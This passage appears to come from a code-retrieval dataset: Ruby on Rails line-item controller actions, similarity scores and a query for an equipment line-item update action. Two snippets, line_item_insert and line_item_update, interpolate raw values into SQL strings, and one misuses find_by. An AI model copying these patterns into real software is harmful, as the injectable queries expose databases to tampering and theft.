"def line_item_insert(h)\n\t\trows = @database.execute <<-SQL\n\t\tINSERT INTO invoice_lines\n\t\t\t\t(number\n\t\t\t\t, invoice_id\n\t\t\t\t, line_id\n\t\t\t\t, _order\n\t\t\t\t, description\n\t\t\t\t, amount\n\t\t\t\t, first_expense_id\n\t\t \t, first_time_entry_id\n\t\t\t\t, line_item_date\n\t\t\t\t, person\n\t\t\t\t, name\n\t\t\t\t, matter\n\t\t\t\t, unit_cost\n\t\t\t\t, quantity\n\t\t\t\t, type\n\t\t\t\t, updated\n\t\t\t\t)\n\t\tVALUES\n\t\t\t ('#{h['number']}'\n\t\t\t , '#{h['invoice_id']}'\n\t\t\t , '#{h['line_id']}'\n\t\t\t , '#{h['order']}'\n\t\t\t , '#{h['description']}'\n\t\t\t , '#{h['amount']}'\n\t\t\t , '#{h['first_expense_id']}'\n\t\t\t , '#{h['first_time_entry_id']}'\n\t\t\t , '#{h['line_item_date']}'\n\t\t , '#{h['person']}'\n\t\t\t , '#{h['name']}'\n\t\t\t , '#{h['matter']}'\n\t\t\t , '#{h['unit_cost']}'\n\t\t\t , '#{h['quantity']}'\n\t\t\t , '#{h['type']}'\n\t\t\t , '#{h['updated']}'\n\t\t\t )\n\t\tSQL\n\tend",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @line_item }\n end\n end",
"def add_item(item_id)\n if line_item = line_items.find_by(item_id: item_id)\n line_item.quantity += 1\n else\n line_item = line_items.build(item_id: item_id)\n end\n line_item\n end",
"def create\n \n meal = Meal.find(params[:meal_id])\n\n @line_item = @cart.add_product(meal.id)\n\n puts \"*\"*50\n puts params\n puts \"*\"*50\n @line_item.quantity = params[:plate_qty]\n @line_item.plate_qty = @line_item.quantity\n\n\n \n # if params[:plate_qty].present?\n # @line_item.quantity = params[:plate_qty]\n # @line_item.plate_qty = @line_item.quantity\n # else\n # @line_item.quantity = 6\n # @line_item.plate_qty = 6\n # end\n\n Rails.logger.debug params.inspect\n\n #Rails.logger.info(\"PARAMS: #{params.inspect}\")\n\n #@line_item = @cart.line_items.build(meal: meal)\n\n if user_signed_in? \n @line_item.user_id = current_user.id\n else\n @line_item.user_id = 0\n end\n\n @line_item.image_url = meal.image_url\n @line_item.name = meal.name\n @line_item.delivery_date = Time.now\n\n respond_to do |format|\n if @line_item.save\n format.html { redirect_to store_index_path, notice: 'Meal item was successfully added onto the CART. '}\n # format.html { redirect_to @line_item.cart, notice: 'Meal item was successfully added onto the cart. '}\n format.json { render :show, status: :created, location: @line_item }\n else\n format.html { render :new }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @request_item = RequestItem.new(request_item_params)\n @request_item.item = Item.new(name: params[:request_item][:item][:name])\n\n if @request_item.save\n render json: @request_item \n else\n render json: @request_item.errors, status: :bad_request\n end\n end",
"def create\n @cart = current_cart\n if params[:bow_id]\n bow = Bow.find(params[:bow_id])\n end\n \n if params[:crossbow_id]\n crossbow = Crossbow.find(params[:crossbow_id])\n end\n \n @line_item = @cart.line_items.build(:bow => bow, :crossbow => crossbow)\n\n\n respond_to do |format|\n if @line_item.save\n format.html { redirect_to @line_item, notice: 'Line item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @line_item }\n else\n format.html { render action: 'new' }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_line_item\n @line_item = LineItem.find_by(params[:id])\n end",
"def new\n @lineitem = Lineitem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lineitem }\n end\n end"
] |
[
"0.715378",
"0.700165",
"0.6992175",
"0.6986218",
"0.69617456",
"0.68617606",
"0.66440517",
"0.6642671",
"0.6616322",
"0.65748125",
"0.65647274",
"0.6480147",
"0.64055717",
"0.63640094",
"0.63508433",
"0.6330478",
"0.63295215",
"0.6323234",
"0.63168323",
"0.63168323",
"0.62900823",
"0.6270115",
"0.62447983",
"0.6237852",
"0.6228753",
"0.6227184",
"0.6219689",
"0.6209016",
"0.6200956",
"0.61938906",
"0.61853147",
"0.618415",
"0.61718076",
"0.6162834",
"0.6159097",
"0.6152508",
"0.61510116",
"0.61450756",
"0.6142405",
"0.61340636",
"0.6120089",
"0.6108904",
"0.60853904",
"0.60853904",
"0.6073717",
"0.6067871",
"0.60359746",
"0.60276735",
"0.60266036",
"0.6021034",
"0.6014508",
"0.5997579",
"0.59963906",
"0.5981314",
"0.5979862",
"0.59706557",
"0.5969567",
"0.595979",
"0.59556377",
"0.5948562",
"0.59431756",
"0.5939117",
"0.5937769",
"0.59248805",
"0.591526",
"0.5912007",
"0.5911347",
"0.589398",
"0.589398",
"0.589398",
"0.589398",
"0.589398",
"0.589398",
"0.589398",
"0.589398",
"0.589398",
"0.589398",
"0.58917904",
"0.5891158",
"0.5889731",
"0.58876574",
"0.5882076",
"0.5882076",
"0.5882076",
"0.5882076",
"0.5882076",
"0.5882076",
"0.5882076",
"0.5882076",
"0.58715874",
"0.5851411",
"0.5844108",
"0.5840613",
"0.5837447",
"0.5820783",
"0.5815583",
"0.58116627",
"0.5794569",
"0.5792728",
"0.5792112"
] |
0.74162716
|
0
|
PATCH/PUT /equipment_line_items/1 PATCH/PUT /equipment_line_items/1.json
|
def update
respond_to do |format|
if @equipment_line_item.update(equipment_line_item_params)
format.html { redirect_to @equipment_line_item, notice: 'Equipment line item was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: 'edit' }
format.json { render json: @equipment_line_item.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @item_line = ItemLine.find(params[:id])\n\n respond_to do |format|\n if @item_line.update_attributes(params[:item_line])\n format.html { redirect_to @item_line, notice: 'Item line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @line_item, :notice => 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @line_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_items.update(line_item_params)\n format.html { redirect_to @line_items, notice: 'Line item was successfully updated.' }\n format.json { render json: :show, status: :ok, location: @line_item }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_items.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @lineitem = Lineitem.find(params[:id])\n\n respond_to do |format|\n if @lineitem.update_attributes(params[:lineitem])\n format.html { redirect_to @lineitem, notice: 'Lineitem was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lineitem.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item1 = LineItem1.find(params[:id])\n\n respond_to do |format|\n if @line_item1.update_attributes(params[:line_item1])\n format.html { redirect_to @line_item1, :notice => 'Line item1 was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @line_item1.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_equipment_line_item\n @equipment_line_item = EquipmentLineItem.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: \"Line item was successfully updated.\" }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: \"Line item was successfully updated.\" }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\t\trespond_to do |format|\n\t\t\tif @line_item.update(line_item_params)\n\t\t\t\tformat.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n\t\t\t\tformat.json { render :show, status: :ok, location: @line_item }\n\t\t\telse\n\t\t\t\tformat.html { render :edit }\n\t\t\t\tformat.json { render json: @line_item.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit } \n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update #saves and redirects, saves changes\n @line_item = LineItem.find(params[:id])\n @line_item.quantity = params[:quantity]\n @line_item.size_id = params[:size_id]\n @line_item.save\n render json: @line_item\n end",
"def update\n @line_item = @order.line_items.find(params[:id])\n\n if @line_item.update(line_item_params)\n head :no_content\n else\n render json: @line_item.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @sub1_line_item.update(sub1_line_item_params)\n format.html { redirect_to @sub1_line_item, notice: 'Sub1 line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @sub1_line_item }\n else\n format.html { render :edit }\n format.json { render json: @sub1_line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = @line_items.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @cart.shop, notice: t(\"line_items.update.notice_success\") }\n else\n format.html { render action: \"edit\" }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to(@line_item, :notice => 'Line item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @line_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to(@line_item, :notice => 'Line item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @line_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\nend",
"def update\n @purchase_order_item_line = PurchaseOrderItemLine.find(params[:id])\n\n respond_to do |format|\n if @purchase_order_item_line.update_attributes(params[:purchase_order_item_line])\n format.html { redirect_to @purchase_order_item_line, notice: 'Purchase order item line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @purchase_order_item_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @popularty_line_item = PopulartyLineItem.find(params[:id])\n\n respond_to do |format|\n if @popularty_line_item.update_attributes(params[:popularty_line_item])\n format.html { redirect_to @popularty_line_item, notice: 'Popularty line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @popularty_line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was added to your cart' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: \"Line item was successfully updated.\" }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\nend",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n env[\"HTTP_REFERER\"] += '#' + item.id.to_s\n format.html { redirect_to :back, notice: \"Aggiornato con successo.\" }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n @participants = Participant.all\n @users = User.all\n if @lineitem.update(lineitem_params)\n format.html { redirect_to @lineitem, notice: 'Lineitem was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @lineitem.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @equipment_model.update(equipment_model_params)\n format.html { redirect_to @equipment_model, notice: t('.update_ok', item: @equipment_model.name) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @equipment_model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @liner_item.update(liner_item_params)\n format.html { redirect_to @liner_item, notice: 'Liner item was successfully updated.' }\n format.json { render :show, status: :ok, location: @liner_item }\n else\n format.html { render :edit }\n format.json { render json: @liner_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @invoice_line_item.update(invoice_line_item_params)\n format.html { redirect_to @invoice_line_item, notice: 'Invoice line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @invoice_line_item }\n else\n format.html { render :edit }\n format.json { render json: @invoice_line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_property_item.update(line_property_item_params)\n format.html { redirect_to @line_property_item, notice: 'Line property item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_property_item }\n else\n format.html { render :edit }\n format.json { render json: @line_property_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def equipment_line_item_params\n params.require(:equipment_line_item).permit(:equipment_id, :equipment_move_buffer_id)\n end",
"def update!(**args)\n @line_item_id = args[:line_item_id] if args.key?(:line_item_id)\n @operation_id = args[:operation_id] if args.key?(:operation_id)\n @product_id = args[:product_id] if args.key?(:product_id)\n @quantity = args[:quantity] if args.key?(:quantity)\n @reason = args[:reason] if args.key?(:reason)\n @reason_text = args[:reason_text] if args.key?(:reason_text)\n end",
"def update!(**args)\n @line_item_id = args[:line_item_id] if args.key?(:line_item_id)\n @operation_id = args[:operation_id] if args.key?(:operation_id)\n @product_id = args[:product_id] if args.key?(:product_id)\n @quantity = args[:quantity] if args.key?(:quantity)\n @reason = args[:reason] if args.key?(:reason)\n @reason_text = args[:reason_text] if args.key?(:reason_text)\n end",
"def update\r\n @lineitem = Lineitem.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @lineitem.update_attributes(params[:lineitem])\r\n flash[:notice] = 'Lineitem was successfully updated.'\r\n format.html { redirect_to(@lineitem) }\r\n format.xml { head :ok }\r\n else\r\n format.html { render :action => \"edit\" }\r\n format.xml { render :xml => @lineitem.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n @order_line_item = OrderLineItem.find(params[:id])\n\n if @order_line_item.update(order_line_item_params)\n # set to manually completd\n @order_line_item.status = \"Manually Completed\"\n @order_line_item.save\n render json: @order_line_item\n else\n render json: @order_line_item.errors, status: :unprocessable_entity\n end\n end",
"def update!(**args)\n @line_item_id = args[:line_item_id] if args.key?(:line_item_id)\n @product_id = args[:product_id] if args.key?(:product_id)\n @quantity = args[:quantity] if args.key?(:quantity)\n end",
"def update\n @order.line_items.destroy_all\n @order.update(cost: 0)\n\n order_params[:line_items].each do |item|\n if !item.empty?\n @order.line_items.create(:product_id => item, :order_id => @order.id)\n @order.update(cost: @order.cost + @order.line_items[0].product.price)\n end\n end\n\n respond_to do |format|\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n end\n end",
"def update\n @invoice_line_item = InvoiceLineItem.find(params[:id])\n\n respond_to do |format|\n if @invoice_line_item.update_attributes(params.require(:invoice_line_item).permit(:amount, :description, :invoice_id, :line_item_purpose_id, :service_visit_id, :vehicle_id))\n format.html { redirect_to invoice_line_items_url,\n notice: 'InvoiceLineItem was successfully updated.' }\n format.json { head :no_content }\n else\n prepFormVariables\n format.html { render action: \"edit\" }\n format.json { render json: @invoice_line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_item\n order = current_user.init_cart.order\n line_item = order.line_items.find(params[:id])\n line_item.attributes = params[:item]\n image = line_item.image\n line_item.price = Product.find(line_item.product_id).price_for_tier(image.tier_id, image.owner?(current_user))\n line_item.tax = line_item.price * PER_TAX\n\n if line_item.save\n render json: line_item, status: :created\n else\n render json: { msg: line_item.errors.full_messages.to_sentence }, status: :bad_request\n end\n end",
"def update\n respond_to do |format|\n if @line_item_product.update(line_item_product_params)\n format.html { redirect_to @line_item_product, notice: 'Line item product was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item_product }\n else\n format.html { render :edit }\n format.json { render json: @line_item_product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @specific_equipment.update(specific_equipment_params)\n format.html { redirect_to @specific_equipment, notice: 'Specific equipment was successfully updated.' }\n format.json { render :show, status: :ok, location: @specific_equipment }\n else\n format.html { render :edit }\n format.json { render json: @specific_equipment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @invoice_addon_line_item.update(invoice_addon_line_item_params)\n format.html { redirect_to @invoice_addon_line_item.invoice, notice: 'Invoice addon line item was successfully updated.' }\n format.json { render action: 'show', status: :ok, location: @invoice_addon_line_item }\n else\n format.html { render action: 'edit' }\n format.json { render json: @invoice_addon_line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @equipment.update(equipment_params)\n format.html { redirect_to @equipment, notice: 'Equipment was successfully updated.' }\n format.json { render :show, status: :ok, location: @equipment }\n else\n format.html { render :edit }\n format.json { render json: @equipment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @equipment.update(equipment_params)\n format.html { redirect_to @equipment, notice: 'Equipment was successfully updated.' }\n format.json { render :show, status: :ok, location: @equipment }\n else\n format.html { render :edit }\n format.json { render json: @equipment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @line_item_id = args[:line_item_id] if args.key?(:line_item_id)\n @product_id = args[:product_id] if args.key?(:product_id)\n @quantity = args[:quantity] if args.key?(:quantity)\n @reason = args[:reason] if args.key?(:reason)\n @reason_text = args[:reason_text] if args.key?(:reason_text)\n end",
"def update!(**args)\n @line_item_id = args[:line_item_id] if args.key?(:line_item_id)\n @product_id = args[:product_id] if args.key?(:product_id)\n @quantity = args[:quantity] if args.key?(:quantity)\n @reason = args[:reason] if args.key?(:reason)\n @reason_text = args[:reason_text] if args.key?(:reason_text)\n end",
"def update\n @product_line = ProductLine.find(params[:id])\n\n respond_to do |format|\n if @product_line.update_attributes(params[:product_line])\n format.html { redirect_to @product_line, notice: 'Product line was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n #update the item of request_item\n if (params[:request_item].present?)\n @request_item.item = params[:request_item][:item].present? ? Item.new(name: params[:request_item][:item][:name]) : @request_item.item\n end\n #update all other parameters\n if @request_item.update(request_item_params)\n render json: @request_item\n else\n render json: @request_item.errors, status: :bad_request\n end\n\n end",
"def update\n respond_to do |format|\n if @equipmentmodel.update(equipment_params)\n format.html { redirect_to @equipmentmodel, notice: 'Equipment model was successfully updated.' }\n format.json { render :show, status: :ok, location: @equipmentmodel }\n else\n format.html { render :edit }\n format.json { render json: @equipmentmodel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def line_item_update(h)\n\t\trows = @database.execute <<-SQL\n\t\tUPDATE invoice_lines\n\t\tSET\n\t\t\t\t_order = '#{h['order']}'\n\t\t\t, invoice_id = '#{h['invoice_id']}'\n\t\t\t, name = '#{h['name']}'\n\t\t\t, matter = '#{h['matter']}'\n\t\t\t, description = '#{h['description']}'\n\t\t\t, amount = '#{h['amount']}'\n\t\t\t, first_expense_id = '#{h['first_expense_id']}'\n\t\t\t, first_time_entry_id = '#{h['first_time_entry_id']}'\n\t\t\t, line_item_date = '#{h['line_item_date']}'\n\t\t\t, person = '#{h['person']}'\n\t\t\t, unit_cost = '#{h['unit_cost']}'\n\t\t\t, quantity = '#{h['quantity']}'\n\t\t\t, type = '#{h['type']}'\n\t\t\t, updated = '#{h['updated']}'\n\t\tWHERE (number = '#{h['number']}' AND line_id = '#{h['line_id']}');\n\t\tSQL\n\tend",
"def update\n @lineitem = Lineitem.find(params[:id])\n @item = Item.find(@lineitem.item_id)\n @lineitem_quantity_temp = @lineitem.quantity\n respond_to do |format|\n if @lineitem.update_attributes(params[:lineitem])\n if @item.amount > 0\n format.html { redirect_to 'http://localhost:3000/carts/show'}\n format.json { head :no_content }\n else\n @lineitem.quantity = @lineitem_quantity_temp\n @lineitem.save\n format.html {redirect_to 'http://localhost:3000/itemnotfound.html/' }\n end\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lineitem.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n @line_item.price = @line_item.catalog_item.unit_price\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n flash[:notice] = 'LineItem was successfully updated.'\n format.html { redirect_to(@line_item) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @line_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @equipment.update(equipment_params)\n format.html { redirect_to @equipment, notice: 'Equipment was successfully updated.' }\n format.json { head :no_content }\n flash[:error] = @equipment.errors.full_messages.join(' ')\n else\n format.html { render action: 'edit' }\n format.json { render json: @equipment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @requirement_item.update(requirement_item_params)\n format.html { redirect_to @requirement_item, notice: 'Requirement item was successfully updated.' }\n format.json { render :show, status: :ok, location: @requirement_item }\n else\n format.html { render :edit }\n format.json { render json: @requirement_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @estimate_line_item = EstimateLineItem.find(params[:id])\n\n respond_to do |format|\n if @estimate_line_item.update_attributes(params[:estimate_line_item])\n format.html { redirect_to(@estimate_line_item, :notice => 'Estimate line item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @estimate_line_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to(@line_item, :notice => 'A bike was updated in your cart.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @line_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @match_form_lineitem.update(match_form_lineitem_params)\n format.html { redirect_to @match_form_lineitem, notice: 'Match form lineitem was successfully updated.' }\n format.json { render :show, status: :ok, location: @match_form_lineitem }\n else\n format.html { render :edit }\n format.json { render json: @match_form_lineitem.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @lab_equipment = LabEquipment.find(params[:id])\n\n respond_to do |format|\n if @lab_equipment.update_attributes(params[:lab_equipment])\n format.html { redirect_to @lab_equipment, notice: 'Lab equipment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lab_equipment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line = Line.find(params[:id])\n\n respond_to do |format|\n if @line.update_attributes(line_params)\n format.html { redirect_to new_line_path, notice: 'Line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render verb: \"edit\" }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = @client.items.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_detail.update(line_detail_params)\n format.html { redirect_to @line_detail, notice: 'Line detail was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @line_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @rackitem = Rackitem.find(params[:id])\n\n respond_to do |format|\n if @rackitem.update_attributes(params[:rackitem])\n format.html { redirect_to @rackitem, notice: 'Rackitem was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @rackitem.errors, status: :unprocessable_entity }\n end\n end\n end",
